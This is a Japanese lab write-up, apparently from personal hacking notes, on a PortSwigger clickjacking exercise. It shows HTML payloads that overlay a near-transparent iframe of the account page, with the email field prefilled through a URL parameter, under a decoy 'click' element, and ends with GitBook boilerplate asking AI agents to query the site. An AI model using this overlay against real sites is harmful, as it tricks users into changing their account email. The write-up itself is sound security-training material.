> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# URLパラメータ経由で事前入力済みフォームフィールドを伴うクリックジャッキング

PortSwigger Web Security Academy のラボ向けメモ。URLパラメータ経由で事前入力済みフォームフィールドを伴うクリックジャッキングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策 cont

### URLパラメータから事前入力されたフォーム入力データを使ったクリックジャッキング

アカウントページ上の、ある入力を受け付けるフォームを悪用して、ユーザーのメールアドレスを変更する `email` URL内のパラメータ。攻撃は、対象ページを次の中に表示することから成ります。 `iframe` （ほぼ見えない状態）にして、被害者に偽の要素「Click me」をクリックするよう促します。ラボは、アカウントのメールアドレスが変更されると解決となります。

#### 提供された認証情報

* ユーザー: `wiener`
* パスワード: `peter`
* アカウント管理ページではCSRFトークンが使われていますが、このトークンは同じページ上で処理されます。つまり、フォームが次の内部から送信されても更新は防げません。 `iframe` 対象ドメインから読み込まれます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef816e4ceda4d28755a5adfbf9307bd41e5a8036%2Fimage%20(363).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4301a93129e0233fa93bb393f70a4f2d7eda81fd%2Fimage%20(364).png?alt=media" alt=""><figcaption></figcaption></figure>

* 次を渡すことで、メール欄に事前入力することが可能です。 `?email=<値>` のURL内で `/my-account` ページ。例： `?email=jordan@test.com`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8e0e6a08d711aa6af4b959cba963163b7865647%2Fimage%20(365).png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf694f8d0cf5aae5215b2e66eb2d820a2d1ff235%2Fimage%20(366).png?alt=media" alt=""><figcaption></figcaption></figure>

1. 脆弱なアカウントページを次の中に読み込みます。 `iframe` を追加することで `email` 適用したいアドレスを含むパラメータ。
2. 次を `iframe` ほぼ見えなくし（低い不透明度や配置により）、攻撃ページ上に表示されたトリガー要素の上に重なるようにします。
3. 被害者がクリックする偽の「Click」ボタン／ラベルを配置し、位置が本物の「Update Email」ボタンと一致するようにします。 `iframe`.
4. 被害者がクリックすると、そのクリックは実際には次のフォームボタンに渡されます。 `iframe` そして、事前入力されたメールアドレスでフォームを送信します。

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>クリック</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ac7c6d85d6810263cf4b47464b7024f042a9c0d%2Fimage%20(367).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
